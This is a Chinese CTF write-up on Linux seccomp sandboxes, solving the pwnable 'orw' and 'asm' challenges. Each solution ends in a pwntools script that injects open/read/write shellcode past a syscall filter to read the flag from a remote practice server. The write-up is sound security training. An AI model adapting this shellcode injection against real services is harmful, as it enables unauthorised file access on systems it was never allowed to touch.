pwn 之 沙箱机制
0x00: 简介
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
- prctl系统调用;
- seccomp库函数;
0x01: 函数限制检测工具seccomp-tools
安装:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:
0x02: 例题实践
Pwnable_orw:
通过checksec可以看出其架构,远程的也是这个。
如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"自动地完成配置。

用seccomp-tools dump ./orw检查受限函数:
允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。

用32位的IDA打开进行分析:

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。
Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw" io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060 payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())
Pwnable_asm:
先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)
用64位IDA打开分析程序:

函数分析:
- 12行用mmap映射了一段0x1000B大小的匿名空间,起始地址为s = 0x41414000;
- 13行将开辟的空间用144进行初始化,144是啥?0x90。根据注释说是用shellcode解法,应该是制作了nop滑梯。
- 15行将stub数组赋给了匿名空间前段,stud是啥?由于ida中该数组的值显示有点零散,所以我就在pwnable网站查看了源代码:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反汇编:(其实就是清空寄存器,好像不影响写入shellcode)

- 17行接着向后面输入数据,关键点:写入我们想要shellcode进行执行。
- 19行chroot(directory):将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open("./flag")就行。
- 20行sandbox开沙箱机制嘛~
- 21行应该是ida分析有误,源代码是没有参数的:((void (*)(void))s)();就是从s那里开始执行。
分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。
Exp: from pwn import *
context.log_level = 'debug'
context.binary = './asm' #io = process("./asm")
io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())
0x03: 最后
初步接触,有些地方没思考得太透。所以,有疑惑的朋友可以在评论区提出,互相交流学习。
tolele
2022-04-25
pwn 之 沙箱机制的更多相关文章
- 沙箱机制(Sandboxie)
一.沙箱是什么? 沙箱是一个虚拟系统程序,沙箱提供的环境相对于每一个运行的程序都是独立的,而且不会对现有的系统产生影响. 二.沙箱的应用 (1)搭建测试环境.沙箱的应用只能访问自己的应用访问目录,而不 ...
- java中的安全模型(沙箱机制)
java中的安全模型(沙箱机制) java安全沙箱(一)之ClassLoader双亲委派机制 java安全沙箱(二)之.class文件检验器 java安全沙箱(三)之内置于Java虚拟机(及语言)的安 ...
- 对java沙箱机制的一点了解
1. 引入 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取,删除一些文件或者网络操作等.当你把程序部署到正式的服务器上,系统管理员要为服务器的安全承担责任, ...
- K:java中的安全模型(沙箱机制)
本博文整合自:Java安全--理解Java沙箱.Java 安全模型介绍.Java的沙箱机制原理入门 相关介绍: 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取 ...
- NSFileHandle 、 沙箱机制 、 属性列表
1 使用NSFilehandle进行数据读写 1.1 问题 NSFileManager用于实现对文件的操作,而NSFileHandle是IOS提供的对文件内容(二进制数据)进行操作的类,例如数据的读写 ...
- java沙箱机制原理
参考文档如下: http://www.2cto.com/kf/201012/79578.html
- java安全沙箱(一)之ClassLoader双亲委派机制
java是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件检验器 内置于Java虚拟机(及语言)的安全特性 安全管理器及J ...
- JVM探究(一)谈谈双亲委派机制和沙箱安全机制
JVM探究 请你谈谈你对JVM的理解?java8虚拟机和之前的变化gengxin? 什么是OOM,什么是栈溢出StackOverFlowError JVM的常用调优参数有哪些? 内存快转如何抓取,怎么 ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
随机推荐
- Ubuntu16.04 搭建samba服务器
1昨天花了一天时间弄了NFS服务器,结果搭建完之后出现各种问题,要么挂载不上,要么就是字符乱码.今天在看到一个关于树莓派的介绍的时候,提到Samba服务器的搭建,我尝试了一下,结果发现很顺利地就能够正 ...
- 解决Flash CS6初始化字体就自动退出
系统win7 问题始于安装了同事的字体,启动Flash CS6时界面上显示开始初始化字体...然后 就自动退出了 尝试过进入pe系统删除字体,可是删除不了 网上搜索找到了这一个删除字体的工具FontF ...
- 讲一讲 kafka 的 ack 的三种机制 ?
request.required.acks 有三个值 0 1 -1(all) 0:生产者不会等待 broker 的 ack,这个延迟最低但是存储的保证最弱当 server 挂 掉的时候就会丢数据. 1 ...
- Vue-Router在当前UR不刷新的Debug调试
如果使用vue-router在当前页面刷新,则会中断此操作,没有反应,错误信息是: Error: Avoided redundant navigation to current location: & ...
- Redis String Type
Redis字符串的操作命令和对应的api如下: set [key] [value] JedisAPI:public String set(final String key, final String ...
- 微信小程序 iphone6 和 iphone6plus 如何设置rpx单位,通俗易懂的方法
pt:屏幕物理像素(屏幕实际宽度像素) px:屏幕分辨率 pt和px关系:iphone6plusppi密度高,1pt里有3px,iphone6 1pt里有2px. iphone6宽度 (物理像素) : ...
- Day10 - JS 实现 Checkbox 中按住 Shift 的多选功能
Day10 - JS 实现 Checkbox 中按住 Shift 的多选功能 作者:liyuechun 简介:JavaScript30 是 Wes Bos 推出的一个 30 天挑战.项目免费提供了 3 ...
- ES6-11学习笔记--深拷贝与浅拷贝
Object.assign,只是进行了浅拷贝,并没有进行深拷贝. 而且会在复杂结构当中会丢失属性,如下代码: let target = { a: { b: { c: 3 }, e: 4, f: 5, ...
- Linux 0.11源码阅读笔记-高速缓冲
高速缓冲 概念 高速缓冲区是内存中的一块内存,在块设备与内核其它程序之间起着一个桥梁作用.内核程序如果需要访问块设备中的数据,都需要经过高速缓冲区来间接的操作. 高速缓冲区结构 高速缓冲区被划分为1k ...
- javaweb之连接数据库
最近做完了一个图书系统的增删改查,想着来总结一下这几个月的所学内容. 一.首先你需要在电脑上安装上mysql或者sql server(本文以mysql为例) mysql官网:MySQL :: Begi ...
